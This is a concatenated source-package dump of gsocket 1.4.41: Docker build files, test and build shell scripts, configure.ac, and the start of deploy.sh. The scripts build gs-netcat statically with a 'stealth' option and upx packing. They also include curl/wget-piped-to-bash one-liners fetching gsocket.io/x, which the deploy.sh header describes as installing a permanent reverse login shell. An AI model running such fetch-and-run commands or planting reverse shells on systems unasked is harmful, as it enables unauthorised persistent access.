gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/arm-linux/0000755000175000017500000000000014503376047023256 5ustar epsilonepsilongsocket-1.4.41/packaging/gsnc-deploy-bin/docker/arm-linux/Dockerfile0000644000175000017500000000104714503376047025252 0ustar epsilonepsilonFROM muslcc/x86_64:arm-linux-musleabi ENV OPENSSL_VER=1.1.1k ENV OPENSSL_ARCH=linux-generic32 WORKDIR /root/ RUN apk update \ && apk add --no-cache bash perl make curl && \ rm -rf /var/cache/apk/* && \ curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \ | tar -xzC /tmp/ && \ cd /tmp/openssl-${OPENSSL_VER} && \ ./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \ make install_sw && \ rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \ echo done gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/build.sh0000755000175000017500000000146414503376047023005 0ustar epsilonepsilon#! /bin/sh # ^^^^^^^Mutli OS must use /bin/sh (alpine uses ash, debian uses dash) # This script is executed inside a docker container. # It is used to build gs-netcat as staticly linked binary for various OSes. test -d /gsocket-src || { echo >&2 "/gsocket-src does not exists."; exit 255; } test -d /gsocket-build || { echo >&2 "/gsocket-build does not exists."; exit 255; } cd /gsocket-src && \ ./configure --prefix=/root/usr --enable-stealth --enable-static $(cat /gsocket-src/configure-parameters.txt) && \ make clean all && \ strip tools/gs-netcat && \ { command -v upx >/dev/null && upx tools/gs-netcat; true; } && \ # Test execute the binary (unless cross compiler) { grep host /gsocket-src/configure-parameters.txt >/dev/null || tools/gs-netcat -g || { rm -f tools/gs-netcat; exit 255; }; } && exit exit 255 gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-alpine/0000755000175000017500000000000014503376047023546 5ustar epsilonepsilongsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-alpine/Dockerfile0000644000175000017500000000107414503376047025542 0ustar epsilonepsilonFROM alpine ENV OPENSSL_VER=1.1.1k ENV OPENSSL_ARCH=linux-generic64 WORKDIR /root/ RUN apk update \ && apk add --no-cache bash musl-dev linux-headers gcc make automake openssl-dev curl upx && \ rm -rf /var/cache/apk/* && \ curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \ | tar -xzC /tmp/ && \ cd /tmp/openssl-${OPENSSL_VER} && \ ./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \ make install_sw && \ rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \ echo done gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/build_all.sh0000755000175000017500000000421114503376047023626 0ustar epsilonepsilon#! /bin/bash # Build all binaries for gsocket.io/x deployment scripts # Use docker. BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)" VER="$(grep AC_INIT "${BASEDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')" source "${BASEDIR}/packaging/build_funcs" SRCDIR="${BASEDIR}/packaging/build/gsocket-${VER}" GSNCROOT="${BASEDIR}/packaging/gsnc-deploy-bin/docker" if [[ ! -f "${SRCDIR}"/configure.ac ]]; then tar_orig="${BASEDIR}/gsocket-${VER}.tar.gz" [[ -f "$tar_orig" ]] && (cd "${BASEDIR}/packaging/build" && tar xfz "$tar_orig") fi [[ -d "$SRCDIR" ]] || { echo >&2 "Source not found: $SRCDIR or ${tar_orig}."; exit 255; } docker_pack() { [[ -z $1 ]] && { echo >&2 "Parameters missing."; return; } echo "" >"${SRCDIR}/configure-parameters.txt" [[ -z $2 ]] || { echo "$2" >"${SRCDIR}/configure-parameters.txt"; } local dsttar local filename local dockername local dstdir filename="gs-netcat_${1}.tar.gz" dstdir="${GSNCROOT}/.." dsttar="${dstdir}/${filename}" dockername="gs-${1}" [[ -f "${dsttar}" ]] && { echo >&2 "${filename} exists. Skipping."; return; } rm -f "${dsttar}" # Create local docker container if it does not yet exist docker run --rm -it "${dockername}" true 2>/dev/null || ( cd docker && docker build -t "${dockername}" "${1}" ) || { exit 255; } [[ -f "${SRCDIR}/tools/gs-netcat" ]] && rm -f "${SRCDIR}/tools/gs-netcat" docker run --rm -v "${SRCDIR}:/gsocket-src" -v "${GSNCROOT}:/gsocket-build" -it "${dockername}" /gsocket-build/build.sh || { exit 255; } (cd "${SRCDIR}/tools" && ${GTAR_BIN} cfz "${dsttar}" --mode=755 --owner=0 --group=0 gs-netcat) (cd "${dstdir}" && shasum "${filename}" && ls -al "${filename}") } cd "${BASEDIR}/packaging/gsnc-deploy-bin" docker_pack arm-linux "--host=arm" && \ #docker_pack armv7l-linux "--host=armv7l" && \ #docker_pack armv6l-linux "--host=armv6l" && \ docker_pack aarch64-linux "--host=aarch64" && \ docker_pack mips64-alpine "--host=mips64" && \ docker_pack mips32-alpine "--host=mips32" && \ docker_pack mipsel32-alpine "--host=mips32" && \ docker_pack x86_64-alpine && \ docker_pack i386-alpine && \ { echo "SUCCESS"; exit 0; } # USE ALPINE docker_pack x86_64-debian && \ exit 255 gsocket-1.4.41/packaging/gsnc-deploy-bin/cyg_bincopy.sh0000755000175000017500000000214414503376047022740 0ustar epsilonepsilon#! /bin/bash prgcp() { local bin local arr bin=$1 [[ ! -e "$bin" ]] && bin=$(which "$1") arr=($(ldd "$bin" | grep -F /usr/bin/ | awk '{print $1;}')) for fn in "${arr[@]}"; do [[ ! -f "/usr/bin/${fn}" ]] && { echo >&2 "Not found: /usr/bin/${fn}"; continue; } [[ -f "${dst}/${fn}" ]] && continue echo "fn=$fn" cp "/usr/bin/${fn}" "$dst" done name="${bin##*/}" [[ -z $name ]] && name="$bin" [[ -e "${dst}/${name}" ]] && return echo "cp ${bin} => ${dst}" cp "${bin}" "${dst}" } dst="$1" { [[ -z ${dst} ]] || [[ ! -d "${dst}" ]] } && { echo >&2 "Destination '${dst}' not found"; exit 250; } for n in awk bzip2 bash cat cp curl date dd df diff du file find git gpg grep gs-netcat gunzip gzip head \ hostname id jq kill killall ldd less ln ls md5sum mkdir more mv nc nice nohup openssl perl ping ps \ pwd python reset resize rm rsync sha256sum sha512sum screen scp sed setsid sh shred ssh \ stty socat tail tar tmux uname unzip vi vim wc wget which whereis xargs zip; do prgcp "$n" "$dst" done gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/0000755000175000017500000000000014503376047021724 5ustar epsilonepsilongsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.debian0000644000175000017500000000026014503376047025135 0ustar epsilonepsilonFROM debian RUN apt update -y && \ apt install -y --no-install-recommends curl wget ca-certificates tar gzip && \ apt clean && \ rm -rf /var/lib/apt/lists/ && \ echo done gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.centos0000644000175000017500000000046714503376047025217 0ustar epsilonepsilonFROM centos RUN cd /etc/yum.repos.d/ && \ sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* && \ sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* && \ yum -y update && \ yum -y install wget gzip tar && \ yum -y clean all && \ echo done gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.alpine0000644000175000017500000000020514503376047025162 0ustar epsilonepsilonFROM alpine WORKDIR /root/ RUN apk update \ && apk add --no-cache bash wget tar gzip && \ rm -rf /var/cache/apk/* && \ echo done gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/run.sh0000755000175000017500000000104114503376047023063 0ustar epsilonepsilon#! /bin/sh BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)" # IF this is not a live test then use local binaries (GS_DEBUG=1) if test -z "$GS_LIVE"; then export GS_DEBUG=1 export GS_USELOCAL=1 ${BASEDIR}/deploy.sh && \ GS_UNDO=1 ${BASEDIR}/deploy.sh else echo "Running LIVE test..." { command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; } && \ export GS_UNDO=1 && \ { command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; } fi gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.rhel80000644000175000017500000000002314503376047024732 0ustar epsilonepsilonFROM roboxes/rhel8 gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/run_all.sh0000755000175000017500000000207514503376047023723 0ustar epsilonepsilon#! /bin/bash # Test deploy.sh in various docker images. # To fetch binaries from live server us: # GS_LIVE=1 ./run_all.sh BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)" GSPKGROOT="${BASEDIR}/packaging/gsnc-deploy-bin/" STDIR="${GSPKGROOT}/selftest" targets="ubi8 debian centos arch alpine rhel8 suse-tumbleweed" [[ -n $* ]] && targets="$*" errexit() { echo >&2 "ERROR: $*" exit 255 } docker_run() { [[ -z $1 ]] && { echo >&2 "Parameters missing."; return; } [[ -f "${STDIR}/Dockerfile.${1}" ]] || { echo >&2 "Not found: Dockerfile.${1}"; return; } echo "Testing $1..." local dockername dockername="gs-selftest-${1}" docker run --rm -it "${dockername}" true || docker build -t "${dockername}" -f "${STDIR}/Dockerfile.${1}" . || { exit 255; } docker run --rm -v "${GSPKGROOT}:/gsocket-pkg" -e GS_LIVE="$GS_LIVE" -it "${dockername}" /gsocket-pkg/selftest/run.sh || { errexit "failed"; } } cp "${BASEDIR}/deploy/deploy.sh" "${GSPKGROOT}/selftest/deploy.sh" for x in $targets; do docker_run $x done rm -f "${GSPKGROOT}/selftest/deploy.sh" echo "SUCCESS." gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.suse-tumbleweed0000644000175000017500000000014414503376047027026 0ustar epsilonepsilonFROM opensuse/tumbleweed RUN zypper install -y wget tar gzip && \ zypper clean -a && \ echo done gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.arch0000644000175000017500000000003314503376047024626 0ustar epsilonepsilonFROM archlinux:base-devel gsocket-1.4.41/packaging/debian/0000755000175000017500000000000014503376047016323 5ustar epsilonepsilongsocket-1.4.41/packaging/Makefile0000755000175000017500000000112014503376047016536 0ustar epsilonepsilon VERSION=1.4.23 BIN_NAME=gsocket PKG_NAME=${BIN_NAME}-${VERSION} debuild-setup: ../${PKG_NAME}.tar.gz rm -rf build mkdir build cp ../${PKG_NAME}.tar.gz build && \ cd build && \ tar xfz ${PKG_NAME}.tar.gz -cd build/${PKG_NAME} && \ dh_make -sy -f ../${PKG_NAME}.tar.gz && \ rm -f debian/*.EX debian/*.ex debian/*.docs debian/README.* && \ cp -a ../../debian/* debian/ && \ uscan . debian-debuild: debuild-setup cd build/${PKG_NAME} && \ debuild -S lintian --pedantic -IE build/${BIN_NAME}_*.dsc clean: rm -rf ./build ./${PKG_NAME}.tar.gz debian: debian-debuild echo Done. gsocket-1.4.41/test-build/0000755000175000017500000000000014503376047015231 5ustar epsilonepsilongsocket-1.4.41/test-build/compile.conf-example0000644000175000017500000000151014503376047021156 0ustar epsilonepsilon#! /bin/bash # Used by 'test-compile.sh'. This file contains information how to execute a command # on various different architectures/VMs. # ENVIRONEMT VARIABLES # # _REXEC_CMD= Command to execute remote command. # _PREFIX= Added to ./configure --prefix= # _PRE_EXEC= Command to execute before compile/test run # _COMPILE_EXEC= Command to compile. [see OpenWRT] # _RUN_EXEC= Command to run all tests. [see OpenWRT] # _DST= Destination directory. [default is ~/] # _ENV= Extra environment variables to set [[ $(basename "$0") == "compile.conf" ]] && { echo "This is an include file. Use test-compile.sh"; exit 1; } # Set DEFAULT values VMGUEST_USERHOST="skyper@127.1" osx_REXEC_CMD="ssh -p 22 -t ${VMGUEST_USERHOST}" osx_PREFIX='$HOME/usr' sid_REXEC_CMD="ssh -p 22107 -t ${VMGUEST_USERHOST}" gsocket-1.4.41/test-build/test-compile.sh0000755000175000017500000000767514503376047020214 0ustar epsilonepsilon#! /bin/bash # Test-Compile & RUN release package on various VMs. # EXAMPLE: RUN=1 NO_COMPILE=1 GSOCKET_HOST=gs1.thc.org ./test-compile.sh arch32 BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)" TOPDIR="$(cd "${BASEDIR}/../" || exit; pwd)" CY="\033[1;33m" # yellow CG="\033[1;32m" # green CR="\033[1;31m" # red CC="\033[1;36m" # cyan CM="\033[1;35m" # magenta CN="\033[0m" # none VER="$(grep AC_INIT "${TOPDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')" FILE="gsocket-${VER}.tar.gz" DIR=$(echo "$FILE" | sed 's/\.tar\.gz//') [[ -f "${TOPDIR}/$FILE" ]] || make dist [[ -f "${TOPDIR}/$FILE" ]] || { echo >&2 "$FILE not found."; exit 255; } echo "Using:" (cd "${TOPDIR}" && ls -al "$FILE" && sha256sum "$FILE") # targets+=("osx") targets+=("sid") targets+=("cygwin") targets+=("kali64") targets+=("arch64") targets+=("arch32") targets+=("alpine64") targets+=("debian" "ubuntu") targets+=("centos" "linux32") targets+=("fbsd") targets+=("bengal") targets+=("rpi") targets+=("solaris11" "solaris10") targets+=("openwrt") [[ -n $1 ]] && targets=("$@") shellcheck "${TOPDIR}/tools/gs-sftp" shellcheck "${TOPDIR}/tools/blitz" shellcheck "${TOPDIR}/tools/gs-mount" shellcheck "${TOPDIR}/tools/gs_funcs" shellcheck "${TOPDIR}/tools/gsocket" shellcheck "${TOPDIR}/deploy/deploy.sh" if [[ -z $GSOCKET_DOMAIN ]] && [[ -z $GSOCKET_HOST ]]; then [[ -z $GSOCKET_IP ]] && GSOCKET_IP=192.168.1.16 #GSOCKET_PORT=7351 # GSOCKET_IP= fi ENVPARAM="QUICK=y GSOCKET_PORT=${GSOCKET_PORT} GSOCKET_HOST=${GSOCKET_HOST} GSOCKET_IP=${GSOCKET_IP}" ENVPARAM_CSH="setenv QUICK y; setenv GSOCKET_PORT ${GSOCKET_PORT}; setenv GSOCKET_IP ${GSOCKET_IP}; setenv GSOCKET_HOST ${GSOCKET_HOST};" [[ -z $NO_COMPILE ]] && WITH_COMPILE=1 # Load configuration [[ -f "${BASEDIR}/compile.conf" ]] && source "${BASEDIR}/compile.conf" do_test() { local target local REXEC_CMD local PREFIX local DST local ENV_run target="$1" COUNT=$((COUNT + 1)) CSTR="${CR}[${COUNT}/${#targets[@]}]${CN}" REXEC_CMD=$(eval echo \$${target}_REXEC_CMD) PREFIX=$(eval echo \$${target}_PREFIX) DST=$(eval echo \$${target}_DST) PRE_EXEC=$(eval echo \$${target}_PRE_EXEC) COMPILE_EXEC=$(eval echo \$${target}_COMPILE_EXEC) RUN_EXEC=$(eval echo \$${target}_RUN_EXEC) ENV_conf=$(eval echo \$${target}_ENV) [[ -z $DST ]] && DST="." [[ -z $PRE_EXEC ]] && PRE_EXEC="true" [[ -z $ENV_conf ]] && ENV_run="${ENVPARAM}" || ENV_run="$ENV_conf" if [[ -n $PREFIX ]]; then if [[ $ENV_run =~ "setenv" ]]; then ENV_run+=" setenv GS_PREFIX ${PREFIX};" else ENV_run+=" GS_PREFIX=${PREFIX}" fi fi if [[ -n $WITH_COMPILE ]]; then echo -e "${CSTR} ${CG}Compiling ${CY}${target}${CN} [${REXEC_CMD}]" if [[ -n $COMPILE_EXEC ]]; then # HERE: Custom compile action (for openwrt) $REXEC_CMD "$COMPILE_EXEC" || { echo "Failed-3 ${*}"; false; return; } echo "Done ${target}. [${COMPILE_EXEC}]" return fi if [[ -z "${PREFIX}" ]]; then COMPILE="cd ${DST}/$DIR && find . -type f -exec touch -r /etc/passwd {} \\; && ./configure --enable-tests && make clean all" else COMPILE="cd ${DST}/$DIR && find . -type f -exec touch -r /etc/passwd {} \\; && ./configure --prefix=${PREFIX} --enable-tests && make clean all install" fi # Must use two logins so we get color output (tty connected) (cat "${TOPDIR}/${FILE}" ) | $REXEC_CMD "$PRE_EXEC && (cd $DST; gunzip | tar xf -)" && \ $REXEC_CMD "$COMPILE" [[ $? -eq 0 ]] || { echo "Failed ${target} [${REXEC_CMD}]"; false; return; } fi if [[ -n "$RUN" ]]; then echo -e "${CSTR} ${CM}TESTING ${CY}${target}${CN} [${REXEC_CMD}]" # OpenWRT does not have a RUN test... if [[ -n $RUN_EXEC ]]; then $REXEC_CMD "$RUN_EXEC" || { echo "Failed-2 ${*}"; false; return; } else $REXEC_CMD "cd ${DST}/${DIR}/tests/ && ${ENV_run} ./run_all_tests.sh" || { echo "Failed-2 ${*}"; false; return; } fi fi echo "Done ${target}. [${REXEC_CMD}]" } for t in "${targets[@]}"; do do_test "${t}" || break ((n++)) done NOTRUN="${targets[@]:$n}" [[ -n $NOTRUN ]] && echo "Not run: $NOTRUN" gsocket-1.4.41/test-build/build_inc.sh0000644000175000017500000000256214503376047017522 0ustar epsilonepsilon#! /bin/bash ERREXIT() { echo >&2 "ERROR: $@" exit 255 } OPENWRT_vars_init() { OPENWRTDIR="$HOME/openwrt" MKFILE="${TOPDIR}/packaging/openwrt/gsocket/Makefile" OWRT_PKG_VERSION="$(grep ^PKG_VERSION: "${MKFILE}" | cut -f2 -d=)" OWRT_PKG_HASH="$(grep ^PKG_HASH: "${MKFILE}" | cut -f2 -d=)" # mdir ~/resarch/openwrt && cd ~/research/openwrt && git clone --depth 1 git@github.com:SkyperTHC/packages.git OWRT_FEEDDIR="$(cd "${TOPDIR}/../openwrt/packages" || exit; pwd)" } OPENWRT_update_makefile() { [[ "$VER" = "$OWRT_PKG_VERSION" ]] && [[ "$HASH" == "$OWRT_PKG_HASH" ]] && return echo "Updating openwrt/gsocket/Makfile..." echo "$OWRT_PKG_VERSION => $VER" echo "$OWRT_PKG_HASH => $HASH" cp "${MKFILE}" "${MKFILE}-old" mk=$(sed "s/^PKG_HASH.*/PKG_HASH:=${HASH}/g" <"${MKFILE}" | sed "s/^PKG_VERSION.*/PKG_VERSION:=${VER}/g") echo "$mk" >"${MKFILE}" OWRT_PKG_VERSION="$VER" OWRT_PKG_HASH="$HASH" } find_topdir() { [[ -n $TOPDIR ]] && return [[ ! -f "${BASEDIR}/${1}/configure.ac" ]] && return TOPDIR="$(cd "${BASEDIR}/${1}" || exit; pwd)" } find_topdir . find_topdir .. find_topdir ../.. find_topdir ../../.. VER="$1" [[ -z "$1" ]] && VER="$(grep AC_INIT "${TOPDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')" FILENAME="gsocket-${VER}.tar.gz" FILE="${TOPDIR}/${FILENAME}" [[ -f "$FILE" ]] || ERREXIT "$FILE not found" HASH="$(sha256sum "${FILE}" | cut -f1 -d" ")" gsocket-1.4.41/test-build/build_openwrt.sh0000755000175000017500000000076214503376047020452 0ustar epsilonepsilon#! /bin/bash BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)" source "${BASEDIR}/build_inc.sh" OPENWRT_vars_init [[ "$(hostname)" != "debian-10-6" ]] && ERREXIT "Execute on debian22016" [[ "$VER" != "$OWRT_PKG_VERSION" ]] || [[ "$HASH" != "$OWRT_PKG_HASH" ]] && OPENWRT_update_makefile cp "${FILE}" "${OPENWRTDIR}/dl" cd "$OPENWRTDIR" && \ git pull && \ nice make -j1 package/gsocket/clean && \ make -j1 V=sc package/gsocket/compile && \ git tag | tail -n1 && \ exit 0 # FAILED exit 255gsocket-1.4.41/configure.ac0000755000175000017500000002140614503376047015451 0ustar epsilonepsilondnl Process this File with autoconf to produce a configure script. AC_PREREQ([2.69]) AC_INIT([gsocket],[1.4.41]) AC_CONFIG_AUX_DIR(config) AC_CANONICAL_TARGET dnl we use automake AM_INIT_AUTOMAKE([foreign]) AC_CONFIG_HEADERS(config.h) AM_PROG_AR dnl for --enable-maintainer-mode fun use: dnl AM_MAINTAINER_MODE dnl AC_DISABLE_STATIC dnl LT_INIT([disable-static]) dnl AC_CONFIG_MACRO_DIRS([m4]) dnl Checks for programs. AC_PROG_CC AC_PROG_INSTALL AC_PROG_RANLIB AC_CHECK_PROG([MAKE_CHECK], [make], [yes], [no]) AS_IF([test x$MAKE_CHECK = xno], [AC_MSG_ERROR([make not found])]) dnl dnl Use these compiler flags if we have gcc. dnl if test $ac_cv_c_compiler_gnu = yes; then CCOPTS='-O2 -Wall' CFLAGS="$CCOPTS $CFLAGS" fi test "x$prefix" != "xNONE" || prefix="/usr/local" test "x$exec_prefix" != "xNONE" || exec_prefix="${prefix}" dnl Do "gcc -xc -E -v -" to figure out default paths dnl Scenarios dnl --prefix=$HOME/usr => -I$HOME/usr/include /usr/include /usr/local/include dnl --prefix=/usr --includedir=$HOME/usr/include => -I$HOME/usr/include /usr/include /usr/local/include dnl --prefix=/usr/local --includedir=$HOME/usr/include => -I$HOME/usr/include /usr/local/include /usr/include dnl default: PREFIX/include unless --includedir= dnl Try include paths (especially on OSX) dnl Special consideration if openssl/srp.h exist in $HOME/usr/include dnl and also the /usr/include/openssl exists. GCC shall use dnl $HOME/usr/include/openssl/srp.h first but not if $prefix is /usr or any dnl of the default system paths dnl To make everyone happy we have to consider: dnl --prefix=$HOME/usr => Must _first_ add $HOME/usr/include dnl --prefix=/usr => Must _never_ add /usr/include (or _last_) test "x$prefix" != "x/usr" && test "x$prefix" != "x/usr/local" && trydir_i="${prefix}/include" trydir_i="${trydir_i} /usr/local/opt/openssl/include /opt/homebrew/opt/openssl/include" for xincdir in $includedir $trydir_i ; do if test ! -d "$xincdir" ; then continue; fi if test x"${INCLUDES}" = x; then INCLUDES="-I${xincdir}"; else INCLUDES="$INCLUDES -I${xincdir}"; fi done CPPFLAGS="-I${srcdir}/../include ${INCLUDES} $CPPFLAGS" dnl Try library paths... test "x$prefix" != "x/usr" && test "x$prefix" != "x/usr/local" && trydir_l="${prefix}/lib" trydir_l="${trydir_l} /usr/local/opt/openssl/lib /opt/homebrew/opt/openssl/lib" for xlibdir in $libdir $trydir_l ; do if test ! -d "$xlibdir" ; then continue; fi if test -f "${xlibdir}/libssl.a"; then STATIC_LIBSSLDIR="${xlibdir}" fi if test x"${LIBDIR}" = x; then LIBDIR="-L${xlibdir}"; else LIBDIR="$LIBDIR -L${xlibdir}"; fi done LDFLAGS="${LIBDIR} $LDFLAGS" dnl default perm of .so is 644 but on cygwin must be 755. PERM_DSO="644" case "$host" in *-cygwin*) PERM_DSO="755" ;; mips-sony-bsd|mips-sony-newsos4) AC_DEFINE([NEED_SETPGRP], [1], [Need setpgrp to acquire controlling tty]) ;; *-*-ultrix*) AC_DEFINE([NEED_SETPGRP], [1], [Need setpgrp to acquire controlling tty]) ;; *-*-darwin*|*-*-*bsd*) AC_DEFINE([BSD_SCRIPT], [1], [/usr/bin/script is the bsd variant]) if test x"$(which ar)" != x'/usr/bin/ar'; then ARDIRWARN=1 fi ;; esac dnl debian packaging requires -soname for LD_PRELOAD libs dnl OSX's linker does not allow -soname. SONAME_GSOCKET_DSO="-Wl,-soname=gsocket_dso.so.0" SONAME_GSOCKET_UCHROOT_DSO="-Wl,-soname=gsocket_uchroot_dso.so.0" case "$host" in *-*-darwin*) SONAME_GSOCKET_DSO="" SONAME_GSOCKET_UCHROOT_DSO="" ;; esac dnl Checks for header files. AC_HEADER_SYS_WAIT AC_CHECK_HEADERS(sys/time.h sys/endian.h unistd.h fnmatch.h string.h utmp.h utmpx.h pty.h openssl/srp.h util.h libutil.h netinet/in_systm.h sys/loadavg.h libproc.h) AC_CHECK_HEADER(openssl/srp.h, [], [AC_MSG_ERROR([openssl/srp.h not found. Update OpenSSL or apt install libssl-dev?])]) dnl Checks for typedefs, structures, and compiler characteristics. AC_C_CONST AC_TYPE_PID_T dnl Checks for library functions. AC_FUNC_MEMCMP dnl If size_t is not defined, define size_t to be unsigned. AC_TYPE_SIZE_T dnl If uid_t is not defined, define uid_t to be int and gid_t to be int. AC_TYPE_UID_T AC_ARG_ENABLE(static, [ --enable-static Compile static binary], [STATIC="yes"], [STATIC="no"] ) dnl OSX does not support static binaries. dnl At least staticly include OpenSSL libs if test x"${STATIC}" = xyes; then case "$host" in *-*-darwin*) LDADD_STATIC="${STATIC_LIBSSLDIR}/libssl.a ${STATIC_LIBSSLDIR}/libcrypto.a" AC_DEFINE(HAVE_LIBSSL, 1, [Define to 1 if you have the `ssl' library (-lssl)]) AC_DEFINE(HAVE_LIBCRYPTO, 1, [Define to 1 if you have the `crypto' library (-lcrypto)]) STATIC_SSL="yes" ;; *) CFLAGS_STATIC="-static " ;; esac fi AC_CHECK_LIB(util, forkpty) AC_CHECK_LIB(socket, socket) if test x"${STATIC}" = xno; then AC_CHECK_LIB(nsl, gethostbyname) fi dnl AC_CHECK_LIB([net], [libnet_name_resolve], [AC_MSG_ERROR([libnet 1.0.x found. Requires libnet 1.1 or newer])]) dnl AC_CHECK_LIB([net], [libnet_init], ,[AC_MSG_ERROR([libnet 1.1.x not found])]) if test x"$STATIC" = xno; then AC_CHECK_LIB(dl, dlopen) fi AC_CHECK_LIB(procstat, procstat_close) dnl if test x"$STATIC_SSL" != xyes; then AC_CHECK_LIB([crypto], [ENGINE_init], [], [AC_MSG_ERROR([libcrypto not found])]) AC_CHECK_LIB([ssl], [SRP_VBASE_get1_by_user], [], [AC_MSG_ERROR([SRP not supported. Please upgrade OpenSSL lib])]) fi AC_CHECK_FUNCS(gettimeofday memcpy strchr strlcat forkpty openpty getline stat64 open64 statvfs64 accept4 connectx) AC_ARG_ENABLE([31337], AS_HELP_STRING([--enable-31337], [Enable experimental features.]), AC_DEFINE(D31337, 1, [Expermental feature]) ) AC_ARG_ENABLE([stealth], AS_HELP_STRING([--enable-stealth], [Stip -h and -m strings.]), AC_DEFINE(STEALTH, 1, [Stealth Mode]) ) AC_ARG_ENABLE([debug], AS_HELP_STRING([--enable-debug], [Enable debug information.]), [debug=true AC_DEFINE(DEBUG, 1, [Debug infos])] ) AC_ARG_ENABLE([tests], AS_HELP_STRING([--enable-tests], [Enable self-tests.]), [selftests=true] ) AS_IF([test x$enable_debug = xyes], AC_DEFINE(D31337, 1, [Expermental feature])) AS_IF([test x$enable_debug = xyes], [selftests=true]) AS_IF([test x$selftests = xtrue], AC_DEFINE(SELFTESTS, 1, [Self Tests])) AC_ARG_ENABLE(dist, [ --enable-dist Enable distribution mode, Use own libraries.], [DIST="yes"], [DIST="no"] ) AC_ARG_ENABLE(realprefix, [ --enable-realprefix Set real prefix (for dpkg packaging)], [REALPREFIX="${enableval}"], [REALPREFIX="${prefix}"] ) AS_IF([test x$selftests = xtrue], AC_SUBST(PROGRAMS_TEST_LIB, "list-test${EXEEXT} event-test${EXEEXT}")) AS_IF([test x$selftests = xtrue], AC_SUBST(PROGRAMS_TEST_TOOLS, "packet-test${EXEEXT} readline-test${EXEEXT} console_display-test${EXEEXT} filetransfer-test${EXEEXT}")) AC_SUBST(LDADD_STATIC, "${LDADD_STATIC}") AC_SUBST(CFLAGS_STATIC, "${CFLAGS_STATIC}") AC_SUBST(PERM_DSO, "${PERM_DSO}") AC_SUBST(SONAME_GSOCKET_DSO, "${SONAME_GSOCKET_DSO}") AC_SUBST(SONAME_GSOCKET_UCHROOT_DSO, "${SONAME_GSOCKET_UCHROOT_DSO}") AC_SUBST(REALPREFIX, "${REALPREFIX}") AC_CONFIG_FILES([Makefile lib/Makefile tools/Makefile include/Makefile include/gsocket/Makefile tools/gsocket.conf man/Makefile examples/Makefile]) AC_OUTPUT echo " \"If netcat is a swiss army knife then gs-netcat is a germanic battle axe\" --acpizer/United Cracking Force " if test x"${STATIC}" = xyes; then case "$host" in *-*-darwin*) echo " *** OSX does not support static binaries. Creating dynamic binaries *** *** instead and trying our best to included OpenSSL statically. *** " ;; *) echo " ********************************** WARNING *********************************** * Your MUST compile OpenSSL like this: * * openssl-src> * * ./Configure --prefix=\$HOME/usr no-dso no-threads no-shared linux-generic64 * * mkdir -p \$HOME/usr && make install_sw * * Only then compile gsocket \(using the same --prefix=\): * * gsocket-src> ./configure --prefix=\$HOME/usr --enable-static * * gsocket-src> make all install * * gsocket-src> export PATH=\$HOME/usr/bin:\$PATH * ****************************************************************************** " ;; esac fi echo " ${PACKAGE_NAME}-${PACKAGE_VERSION} has been configured: Host..............: ${host} Prefix............: ${prefix} Compiler..........: ${CC} Compiler flags....: ${CFLAGS_STATIC}${CFLAGS} Preprocessor flags: ${CPPFLAGS} Linker flags......: ${LDFLAGS} Libraries.........: ${LIBS} Configuration complete. Now type: make all install" if test x"${ARDIRWARN}" = x1; then AC_MSG_WARN([Build tools seem to be a mix of GNU and Apple.]) AC_MSG_WARN([Alex, try 'PATH=/usr/bin:\$PATH ./configure'.]) fi gsocket-1.4.41/Makefile.am0000755000175000017500000000026614503376047015220 0ustar epsilonepsilonSUBDIRS = lib tools man examples include EXTRA_DIST = README.md config bootstrap tests/Makefile tests/run_all_tests.sh tests/run_gs_tests.sh tests/run_ft_tests.sh LICENSE ChangeLog gsocket-1.4.41/deploy/0000755000175000017500000000000014503376047014451 5ustar epsilonepsilongsocket-1.4.41/deploy/deploy.sh0000755000175000017500000013066114503376047016313 0ustar epsilonepsilon#! /usr/bin/env bash # Install and start a permanent gs-netcat reverse login shell # # See https://www.gsocket.io/deploy/ for examples. # # This script is typically invoked like this as root or non-root user: # $ bash -c "$(curl -fsSL https://gsocket.io/x)" # # Connect # $ S=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)"" # Pre-set a secret: # $ X=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)" # Uninstall # $ GS_UNDO=1 bash -c" $(curl -fsSL https://gsocket.io/x)" # # Other variables: # GS_DEBUG=1 # - Verbose output # - Shorter timeout to restart crontab etc # - Often used like this: # GS_HOST=127.0.0.1 GS_PORT=4443 GS_DEBUG=1 